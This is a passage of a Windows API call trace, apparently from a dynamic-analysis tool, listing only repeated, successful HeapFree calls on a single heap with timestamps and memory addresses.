	[0082.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0082.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0082.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.306] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0082.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.322] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0082.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0082.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0082.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0082.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0082.753] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0082.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.797] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0082.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0082.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0082.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0082.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0082.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0082.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.818] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0082.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0082.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0082.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.825] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0082.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0082.826] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0083.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0083.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0083.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0083.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0083.179] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0083.189] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.197] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.198] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0083.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0083.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0083.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0083.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0083.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0083.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.526] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0083.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0085.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0085.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.859] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.865] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0085.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0086.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.354] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.483] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.484] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.486] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.487] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.488] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.492] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4317788 | out: hHeap=0x4f0000) returned 1
	[0086.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
